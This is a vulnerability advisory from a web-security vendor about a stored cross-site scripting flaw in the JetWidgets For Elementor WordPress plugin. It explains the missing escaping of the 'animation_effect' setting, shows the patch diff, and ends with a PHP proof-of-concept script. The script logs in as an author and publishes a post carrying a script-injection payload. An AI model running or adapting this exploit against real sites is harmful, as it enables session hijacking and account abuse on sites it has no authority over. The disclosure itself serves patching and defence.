Published : July 3, 2026

CVE-2026-11380: JetWidgets For Elementor <= 1.0.21 Authenticated (Author+) Stored Cross-Site Scripting via Animated Box 'animation_effect' Setting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.0.21
Patched Version 1.0.22
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11380: This vulnerability is a Stored Cross-Site Scripting (XSS) vulnerability in the JetWidgets For Elementor plugin versions up to and including 1.0.21. The Animated Box widget’s animation_effect setting is not properly escaped or validated before being rendered in an HTML class attribute. An attacker with author-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page.

The root cause is insufficient output escaping and missing server-side validation of the ‘animation_effect’ parameter in the JetWidgets For Elementor plugin. The vulnerable code is located in the template file ‘jetwidgets-for-elementor/templates/jw-animated-box/global/index.php’ at line 11. The original code used ‘$this->__html( ‘animation_effect’, ‘%s’ )’ which did not escape the value before rendering it directly into the class attribute of the ‘jw-animated-box’ div. No sanitize function existed to validate the value.

An authenticated attacker with Author-level access (or higher) can exploit this by creating or editing a page containing the JetWidgets Animated Box widget. In the widget settings, the attacker modifies the ‘animation_effect’ parameter to include a malicious payload like ‘jw-box-effect-1″>alert(document.cookie)’. The attacker saves the page, storing the payload in the database. When any user views the page, the unescaped value is rendered into the HTML class attribute, breaking out of the attribute and executing the injected script.

The patch introduces a sanitization function ‘sanitize_animation_effect()’ in the main plugin class ‘jetwidgets-for-elementor/includes/addons/jet-widgets-animated-box.php’. This function validates the animation effect against an allowlist of predefined options (lines 55-67). If the provided effect is not in the allowlist, it returns a default value ‘jw-box-effect-1’. The template in ‘index.php’ now calls ‘$this->sanitize_animation_effect()’ and uses ‘esc_attr()’ for output escaping. The patch also adds similar sanitization for button icon positions and other settings across multiple widgets.

Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript in the context of any user viewing the affected page. This could lead to session hijacking, credential theft, phishing attacks, defacement, or perform arbitrary actions on behalf of the victim user within the WordPress admin interface.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/jetwidgets-for-elementor/includes/addons/jet-widgets-animated-box.php
+++ b/jetwidgets-for-elementor/includes/addons/jet-widgets-animated-box.php
@@ -37,6 +37,56 @@
 		return array( 'jet-widgets' );
 	}

+	protected function get_animation_effect_options() {
+		return array(
+			'jw-box-effect-1' => esc_html__( 'Flip Horizontal', 'jetwidgets-for-elementor' ),
+			'jw-box-effect-2' => esc_html__( 'Flip Vertical', 'jetwidgets-for-elementor' ),
+			'jw-box-effect-3' => esc_html__( 'Fall Up', 'jetwidgets-for-elementor' ),
+			'jw-box-effect-4' => esc_html__( 'Fall Right', 'jetwidgets-for-elementor' ),
+			'jw-box-effect-5' => esc_html__( 'Slide Down', 'jetwidgets-for-elementor' ),
+			'jw-box-effect-6' => esc_html__( 'Slide Right', 'jetwidgets-for-elementor' ),
+			'jw-box-effect-7' => esc_html__( 'Flip Horizontal 3D', 'jetwidgets-for-elementor' ),
+			'jw-box-effect-8' => esc_html__( 'Flip Vertical 3D', 'jetwidgets-for-elementor' ),
+		);
+	}
+
+	protected function get_default_animation_effect() {
+		return 'jw-box-effect-1';
+	}
+
+	protected function sanitize_animation_effect( $effect = null ) {
+		$allowed_effects = $this->get_animation_effect_options();
+		$default_effect  = $this->get_default_animation_effect();
+
+		if ( ! is_string( $effect ) || ! isset( $allowed_effects[ $effect ] ) ) {
+			return $default_effect;
+		}
+
+		return $effect;
+	}
+
+	protected function get_button_icon_position_options() {
+		return array(
+			'before' => esc_html__( 'Before Text', 'jetwidgets-for-elementor' ),
+			'after'  => esc_html__( 'After Text', 'jetwidgets-for-elementor' ),
+		);
+	}
+
+	protected function get_default_button_icon_position() {
+		return 'after';
+	}
+
+	protected function sanitize_button_icon_position( $position = null ) {
+		$allowed_positions = $this->get_button_icon_position_options();
+		$default_position  = $this->get_default_button_icon_position();
+
+		if ( ! is_string( $position ) || ! isset( $allowed_positions[ $position ] ) ) {
+			return $default_position;
+		}
+
+		return $position;
+	}
+
 	protected function register_controls() {

 		$css_scheme = apply_filters(
@@ -195,17 +245,8 @@
 			array(
 				'label'   => esc_html__( 'Animation Effect', 'jetwidgets-for-elementor' ),
 				'type'    => Controls_Manager::SELECT,
-				'default' => 'jw-box-effect-1',
-				'options' => array(
-					'jw-box-effect-1'  => esc_html__( 'Flip Horizontal', 'jetwidgets-for-elementor' ),
-					'jw-box-effect-2'  => esc_html__( 'Flip Vertical', 'jetwidgets-for-elementor' ),
-					'jw-box-effect-3'  => esc_html__( 'Fall Up', 'jetwidgets-for-elementor' ),
-					'jw-box-effect-4'  => esc_html__( 'Fall Right', 'jetwidgets-for-elementor' ),
-					'jw-box-effect-5'  => esc_html__( 'Slide Down', 'jetwidgets-for-elementor' ),
-					'jw-box-effect-6'  => esc_html__( 'Slide Right', 'jetwidgets-for-elementor' ),
-					'jw-box-effect-7'  => esc_html__( 'Flip Horizontal 3D', 'jetwidgets-for-elementor' ),
-					'jw-box-effect-8'  => esc_html__( 'Flip Vertical 3D', 'jetwidgets-for-elementor' ),
-				),
+				'default' => $this->get_default_animation_effect(),
+				'options' => $this->get_animation_effect_options(),
 			)
 		);

@@ -1447,11 +1488,8 @@
 			array(
 				'label'   => esc_html__( 'Icon Position', 'jetwidgets-for-elementor' ),
 				'type'    => Controls_Manager::SELECT,
-				'options' => array(
-					'before'  => esc_html__( 'Before Text', 'jetwidgets-for-elementor' ),
-					'after' => esc_html__( 'After Text', 'jetwidgets-for-elementor' ),
-				),
-				'default'     => 'after',
+				'options' => $this->get_button_icon_position_options(),
+				'default'     => $this->get_default_button_icon_position(),
 				'render_type' => 'template',
 				'condition' => array(
 					'add_button_icon' => 'yes',
--- a/jetwidgets-for-elementor/includes/addons/jet-widgets-image-comparison.php
+++ b/jetwidgets-for-elementor/includes/addons/jet-widgets-image-comparison.php
@@ -1499,8 +1499,6 @@
 			$instance_settings['fade'] = true;
 		}

-		$instance_settings = json_encode( $instance_settings );
-
-		return sprintf( 'data-settings='%1$s'', $instance_settings );
+		return wp_json_encode( $instance_settings );
 	}
 }
--- a/jetwidgets-for-elementor/includes/addons/jet-widgets-images-layout.php
+++ b/jetwidgets-for-elementor/includes/addons/jet-widgets-images-layout.php
@@ -21,6 +21,32 @@

 class Jet_Widgets_Images_Layout extends Jet_Widgets_Base {

+	protected function get_item_target_options() {
+		return array(
+			'_self'  => esc_html__( 'Same Window', 'jetwidgets-for-elementor' ),
+			'_blank' => esc_html__( 'New Window', 'jetwidgets-for-elementor' ),
+		);
+	}
+
+	protected function get_default_item_target() {
+		return '_self';
+	}
+
+	protected function sanitize_item_target( $target = null ) {
+		$allowed_targets = $this->get_item_target_options();
+		$default_target  = $this->get_default_item_target();
+
+		if ( ! is_string( $target ) || '' === $target ) {
+			return $default_target;
+		}
+
+		if ( ! isset( $allowed_targets[ $target ] ) ) {
+			return $default_target;
+		}
+
+		return $target;
+	}
+
 	public function get_name() {
 		return 'jw-images-layout';
 	}
@@ -873,9 +899,7 @@
 			'justifyHeight' => absint( $module_settings['justify_height'] ),
 		);

-		$settings = json_encode( $settings );
-
-		return sprintf( 'data-settings='%1$s'', $settings );
+		return wp_json_encode( $settings );
 	}

 	/**
--- a/jetwidgets-for-elementor/includes/addons/jet-widgets-posts.php
+++ b/jetwidgets-for-elementor/includes/addons/jet-widgets-posts.php
@@ -2098,7 +2098,7 @@
 				$attr_val            = ! is_array( $attr_val ) ? $attr_val : implode( ',', $attr_val );
 			}

-			$attributes[ $attr ] = jet_widgets_tools()->esc_attr( $attr_val );
+			$attributes[ $attr ] = esc_attr( $attr_val );

 		}

--- a/jetwidgets-for-elementor/includes/addons/jet-widgets-pricing-table.php
+++ b/jetwidgets-for-elementor/includes/addons/jet-widgets-pricing-table.php
@@ -20,6 +20,50 @@

 class Jet_Widgets_Pricing_Table extends Jet_Widgets_Base {

+	protected function get_button_size_options() {
+		return array(
+			'auto' => esc_html__( 'auto', 'jetwidgets-for-elementor' ),
+			'full' => esc_html__( 'full', 'jetwidgets-for-elementor' ),
+		);
+	}
+
+	protected function get_default_button_size() {
+		return 'auto';
+	}
+
+	protected function sanitize_button_size( $size = null ) {
+		$allowed_sizes = $this->get_button_size_options();
+		$default_size  = $this->get_default_button_size();
+
+		if ( ! is_string( $size ) || ! isset( $allowed_sizes[ $size ] ) ) {
+			return $default_size;
+		}
+
+		return $size;
+	}
+
+	protected function get_button_icon_position_options() {
+		return array(
+			'left'  => esc_html__( 'Before Text', 'jetwidgets-for-elementor' ),
+			'right' => esc_html__( 'After Text', 'jetwidgets-for-elementor' ),
+		);
+	}
+
+	protected function get_default_button_icon_position() {
+		return 'left';
+	}
+
+	protected function sanitize_button_icon_position( $position = null ) {
+		$allowed_positions = $this->get_button_icon_position_options();
+		$default_position  = $this->get_default_button_icon_position();
+
+		if ( ! is_string( $position ) || ! isset( $allowed_positions[ $position ] ) ) {
+			return $default_position;
+		}
+
+		return $position;
+	}
+
 	public function get_name() {
 		return 'jw-pricing-table';
 	}
@@ -1466,11 +1510,8 @@
 			array(
 				'label'   => esc_html__( 'Size', 'jetwidgets-for-elementor' ),
 				'type'    => Controls_Manager::SELECT,
-				'default' => 'auto',
-				'options' => array(
-					'auto' => esc_html__( 'auto', 'jetwidgets-for-elementor' ),
-					'full'  => esc_html__( 'full', 'jetwidgets-for-elementor' ),
-				),
+				'default' => $this->get_default_button_size(),
+				'options' => $this->get_button_size_options(),
 			)
 		);

@@ -1509,11 +1550,8 @@
 			array(
 				'label'   => esc_html__( 'Icon Position', 'jetwidgets-for-elementor' ),
 				'type'    => Controls_Manager::SELECT,
-				'options' => array(
-					'left'  => esc_html__( 'Before Text', 'jetwidgets-for-elementor' ),
-					'right' => esc_html__( 'After Text', 'jetwidgets-for-elementor' ),
-				),
-				'default'     => 'left',
+				'options' => $this->get_button_icon_position_options(),
+				'default'     => $this->get_default_button_icon_position(),
 				'render_type' => 'template',
 				'condition' => array(
 					'add_button_icon' => 'yes',
@@ -1831,4 +1869,4 @@
 		<# } #>
 		<?php
 	}
-}
 No newline at end of file
+}
--- a/jetwidgets-for-elementor/includes/addons/jet-widgets-subscribe-form.php
+++ b/jetwidgets-for-elementor/includes/addons/jet-widgets-subscribe-form.php
@@ -1219,9 +1219,7 @@
 			'redirect_url' => esc_url( $module_settings['redirect_url'] ),
 		);

-		$settings = json_encode( $settings );
-
-		return htmlspecialchars( $settings );
+		return wp_json_encode( $settings );
 	}

 	protected function render() {
--- a/jetwidgets-for-elementor/includes/addons/jet-widgets-testimonials.php
+++ b/jetwidgets-for-elementor/includes/addons/jet-widgets-testimonials.php
@@ -2571,8 +2571,6 @@
 			$instance_settings['fade'] = true;
 		}

-		$instance_settings = json_encode( $instance_settings );
-
-		return sprintf( 'data-settings='%1$s'', $instance_settings );
+		return wp_json_encode( $instance_settings );
 	}
 }
--- a/jetwidgets-for-elementor/jetwidgets-for-elementor.php
+++ b/jetwidgets-for-elementor/jetwidgets-for-elementor.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: JetWidgets For Elementor
  * Description: Brand new addon for Elementor Page builder. It provides the set of modules to create different kinds of content, adds custom modules to your website and applies attractive styles in the matter of several clicks!
- * Version:     1.0.21
+ * Version:     1.0.22
  * Author:      Crocoblock
  * Author URI:  https://crocoblock.com/
  * Text Domain: jetwidgets-for-elementor
@@ -64,7 +64,7 @@
 		 *
 		 * @var string
 		 */
-		private $version = '1.0.21';
+		private $version = '1.0.22';

 		/**
 		 * Holder for base plugin path
--- a/jetwidgets-for-elementor/templates/jw-animated-box/global/action-button.php
+++ b/jetwidgets-for-elementor/templates/jw-animated-box/global/action-button.php
@@ -3,9 +3,10 @@
  * Animated box action button
  */

-$position = $this->get_settings( 'button_icon_position' );
-$use_icon = $this->get_settings( 'add_button_icon' );
-$button_url = $this->get_settings( 'back_side_button_link' );
+$settings   = $this->get_settings_for_display();
+$position   = $this->sanitize_button_icon_position( isset( $settings['button_icon_position'] ) ? $settings['button_icon_position'] : null );
+$use_icon   = isset( $settings['add_button_icon'] ) ? $settings['add_button_icon'] : '';
+$button_url = isset( $settings['back_side_button_link'] ) ? $settings['back_side_button_link'] : '';

 if ( empty( $button_url ) ) {
 	return false;
@@ -38,7 +39,7 @@
 }

 ?>
-<a <?php echo jet_widgets_tools()->esc_attr( $this->get_render_attribute_string( 'url' ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>><?php
+<a <?php $this->print_render_attribute_string( 'url' ); ?>><?php
 	echo $this->__html( 'back_side_button_text', '<span class="jw-animated-box__button-text">%s</span>' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped

 	if ( filter_var( $use_icon, FILTER_VALIDATE_BOOLEAN ) ) {
--- a/jetwidgets-for-elementor/templates/jw-animated-box/global/index.php
+++ b/jetwidgets-for-elementor/templates/jw-animated-box/global/index.php
@@ -7,8 +7,9 @@
 $title_tag     = jet_widgets_tools()->validate_html_tag( $title_tag );
 $sub_title_tag = $this->__get_html( 'sub_title_html_tag', '%s' );
 $sub_title_tag = jet_widgets_tools()->validate_html_tag( $sub_title_tag );
+$animation_effect = $this->sanitize_animation_effect( $this->get_settings_for_display( 'animation_effect' ) );
 ?>
-<div class="jw-animated-box <?php $this->__html( 'animation_effect', '%s' ); ?>">
+<div class="jw-animated-box <?php echo esc_attr( $animation_effect ); ?>">
 	<div class="jw-animated-box__front">
 		<div class="jw-animated-box__overlay"></div>
 		<div class="jw-animated-box__inner">
--- a/jetwidgets-for-elementor/templates/jw-image-comparison/global/image-comparison-loop-start.php
+++ b/jetwidgets-for-elementor/templates/jw-image-comparison/global/image-comparison-loop-start.php
@@ -12,4 +12,4 @@
 $classes = implode( ' ', $class_array );

 ?>
-<div class="<?php echo esc_attr( $classes ); ?>" <?php echo jet_widgets_tools()->esc_attr( $data_settings ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
+<div class="<?php echo esc_attr( $classes ); ?>" data-settings="<?php echo esc_attr( $data_settings ); ?>">
--- a/jetwidgets-for-elementor/templates/jw-images-layout/global/images-layout-loop-item.php
+++ b/jetwidgets-for-elementor/templates/jw-images-layout/global/images-layout-loop-item.php
@@ -26,8 +26,7 @@
 	$this->add_render_attribute( $link_instance, 'data-elementor-lightbox-slideshow', $this->get_id()  );
 } else {

-	$target = $this->__loop_item( array( 'item_target' ), '%s' );
-	$target = ! empty( $target ) ? $target : '_self';
+	$target = $this->sanitize_item_target( $this->__loop_item( array( 'item_target' ), '%s' ) );

 	$this->add_render_attribute(
 		$link_instance,
@@ -45,7 +44,7 @@
 ?>
 <div class="jw-images-layout__item">
 	<div class="jw-images-layout__inner">
-		<a <?php echo jet_widgets_tools()->esc_attr( $this->get_render_attribute_string( $link_instance ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
+		<a <?php $this->print_render_attribute_string( $link_instance ); ?>>
 			<div class="jw-images-layout__image">
 				<?php
 					if ( 'justify' === $settings['layout_type'] ) {
--- a/jetwidgets-for-elementor/templates/jw-images-layout/global/images-layout-loop-start.php
+++ b/jetwidgets-for-elementor/templates/jw-images-layout/global/images-layout-loop-start.php
@@ -33,4 +33,4 @@
 $attrs = implode( ' ', $attr_array );

 ?>
-<div class="<?php echo esc_attr( $classes ); ?>" <?php echo jet_widgets_tools()->esc_attr( $attrs ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
+<div class="<?php echo esc_attr( $classes ); ?>" <?php echo esc_attr( $attrs ); ?>>
--- a/jetwidgets-for-elementor/templates/jw-images-layout/global/index.php
+++ b/jetwidgets-for-elementor/templates/jw-images-layout/global/index.php
@@ -9,6 +9,6 @@
 $classes = implode( ' ', $classes_list );
 ?>

-<div class="jw-images-layout <?php echo esc_attr( $classes ); ?>" <?php echo jet_widgets_tools()->esc_attr( $data_settings ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
+<div class="jw-images-layout <?php echo esc_attr( $classes ); ?>" data-settings="<?php echo esc_attr( $data_settings ); ?>">
 	<?php $this->__get_global_looped_template( 'images-layout', 'image_list' ); ?>
 </div>
--- a/jetwidgets-for-elementor/templates/jw-pricing-table/global/button.php
+++ b/jetwidgets-for-elementor/templates/jw-pricing-table/global/button.php
@@ -3,21 +3,24 @@
  * Pricing table action button
  */

+$settings  = $this->get_settings_for_display();
+$size      = $this->sanitize_button_size( isset( $settings['button_size'] ) ? $settings['button_size'] : null );
+$position  = $this->sanitize_button_icon_position( isset( $settings['button_icon_position'] ) ? $settings['button_icon_position'] : null );
+$icon      = isset( $settings['add_button_icon'] ) ? $settings['add_button_icon'] : '';
+$button_url = isset( $settings['button_url'] ) ? $settings['button_url'] : '';
+
 $this->add_render_attribute( 'button', array(
 	'class' => array(
 		'elementor-button',
 		'elementor-size-md',
 		'pricing-table-button',
-		'button-' . $this->get_settings( 'button_size' ) . '-size',
+		'button-' . $size . '-size',
 	),
-	'href' => esc_url( $this->get_settings( 'button_url' ) ),
+	'href' => esc_url( $button_url ),
 ) );

 ?>
-<a <?php echo jet_widgets_tools()->esc_attr( $this->get_render_attribute_string( 'button' ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>><?php
-
-	$position = $this->get_settings( 'button_icon_position' );
-	$icon     = $this->get_settings( 'add_button_icon' );
+<a <?php $this->print_render_attribute_string( 'button' ); ?>><?php

 	if ( $icon && 'left' === $position ) {
 		$this->_render_icon( 'button_icon', '<span class="jet-widgets-icon button-icon">%s</span>' );
--- a/jetwidgets-for-elementor/templates/jw-subscribe-form/global/index.php
+++ b/jetwidgets-for-elementor/templates/jw-subscribe-form/global/index.php
@@ -3,10 +3,11 @@
  * Subscribe Form main template
  */

-$submit_button_text = $this->get_settings( 'submit_button_text' );
-$submit_placeholder = $this->get_settings( 'submit_placeholder' );
-$layout             = $this->get_settings( 'layout' );
-$use_icon           = $this->get_settings( 'add_button_icon' );
+$settings           = $this->get_settings_for_display();
+$submit_button_text = isset( $settings['submit_button_text'] ) ? $settings['submit_button_text'] : '';
+$submit_placeholder = isset( $settings['submit_placeholder'] ) ? sanitize_text_field( $settings['submit_placeholder'] ) : '';
+$layout             = isset( $settings['layout'] ) ? $settings['layout'] : '';
+$use_icon           = isset( $settings['add_button_icon'] ) ? $settings['add_button_icon'] : '';

 $this->add_render_attribute( 'main-container', 'class', array(
 	'jw-subscribe-form',
@@ -17,7 +18,7 @@

 $instance_data = apply_filters( 'jet-widgets/subscribe-form/input-instance-data', array(), $this );

-$instance_data = json_encode( $instance_data );
+$instance_data = wp_json_encode( $instance_data );

 $this->add_render_attribute( 'form-input',
 	array(
@@ -26,7 +27,7 @@
 		'name'               => 'jw-subscribe-mail',
 		'value'              => '',
 		'placeholder'        => $submit_placeholder,
-		'data-instance-data' => htmlspecialchars( $instance_data ),
+		'data-instance-data' => $instance_data,
 	)
 );

@@ -37,10 +38,10 @@
 }

 ?>
-<div <?php echo jet_widgets_tools()->esc_attr( $this->get_render_attribute_string( 'main-container' ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
+<div <?php $this->print_render_attribute_string( 'main-container' ); ?>>
 	<form method="POST" action="#" class="jw-subscribe-form__form">
 		<div class="jw-subscribe-form__input-group">
-			<input <?php echo jet_widgets_tools()->esc_attr( $this->get_render_attribute_string( 'form-input' ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
+			<input <?php $this->print_render_attribute_string( 'form-input' ); ?>>
 			<?php echo sprintf( '<a class="jw-subscribe-form__submit elementor-button elementor-size-md" href="#">%s<span class="jw-subscribe-form__submit-text">%s</span></a>', $icon_html, wp_kses_post( $submit_button_text ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
 		</div>
 		<div class="jw-subscribe-form__message"><div class="jw-subscribe-form__message-inner"><span></span></div></div>
--- a/jetwidgets-for-elementor/templates/jw-testimonials/global/testimonials-loop-start.php
+++ b/jetwidgets-for-elementor/templates/jw-testimonials/global/testimonials-loop-start.php
@@ -17,4 +17,4 @@
 $classes = implode( ' ', $class_array );

 ?>
-<div class="<?php echo esc_attr( $classes ); ?>" <?php echo jet_widgets_tools()->esc_attr( $data_settings ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
+<div class="<?php echo esc_attr( $classes ); ?>" data-settings="<?php echo esc_attr( $data_settings ); ?>">

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11380 - JetWidgets For Elementor <= 1.0.21 - Authenticated (Author+) Stored XSS via Animated Box 'animation_effect' Setting

$target_url = 'http://example.com/wordpress'; // Change this to the target WordPress URL
$username = 'author_user';                   // Change to a valid author username
$password = 'author_password';               // Change to the author's password

// Payload: XSS injection in the animation_effect parameter
$payload = 'jw-box-effect-1"><script>alert(/XSS/);</script>';

echo "[+] Logging in as $username...n";

// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);

if (strpos($login_response, 'Dashboard') === false) {
    echo "[-] Login failed. Check credentials.n";
    exit(1);
}
echo "[+] Login successful.n";

// Step 2: Get a nonce for creating a new page or post
// We'll directly create a post using the REST API
$rest_url = $target_url . '/wp-json/wp/v2/posts';

$post_data = array(
    'title' => 'Atomic Edge Test - CVE-2026-11380',
    'content' => '<!-- wp:jetwidgets/jw-animated-box --><div class="jw-animated-box ' . $payload . '">Exploit test</div><!-- /wp:jetwidgets/jw-animated-box -->',
    'status' => 'publish'
);

// We need to use WordPress REST API with nonce for authenticated requests
// Alternatively, we can try to send a crafted POST to wp-admin/post.php
// but the simplest is to use the REST API with cookie auth

curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json', 'X-WP-Nonce: ' . get_nonce($ch, $target_url)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

$response_decoded = json_decode($response, true);
if (isset($response_decoded['id'])) {
    echo "[+] Post created successfully! ID: " . $response_decoded['id'] . "n";
    echo "[+] Visit: " . $response_decoded['link'] . "n";
    echo "[+] XSS payload will execute when the page is loaded.n";
} else {
    echo "[-] Failed to create post. Response: " . print_r($response_decoded, true) . "n";
}

curl_close($ch);

// Helper function to get X-WP-Nonce
function get_nonce($ch, $target_url) {
    $nonce_url = $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce';
    curl_setopt($ch, CURLOPT_URL, $nonce_url);
    curl_setopt($ch, CURLOPT_POST, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $nonce = curl_exec($ch);
    return trim($nonce);
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.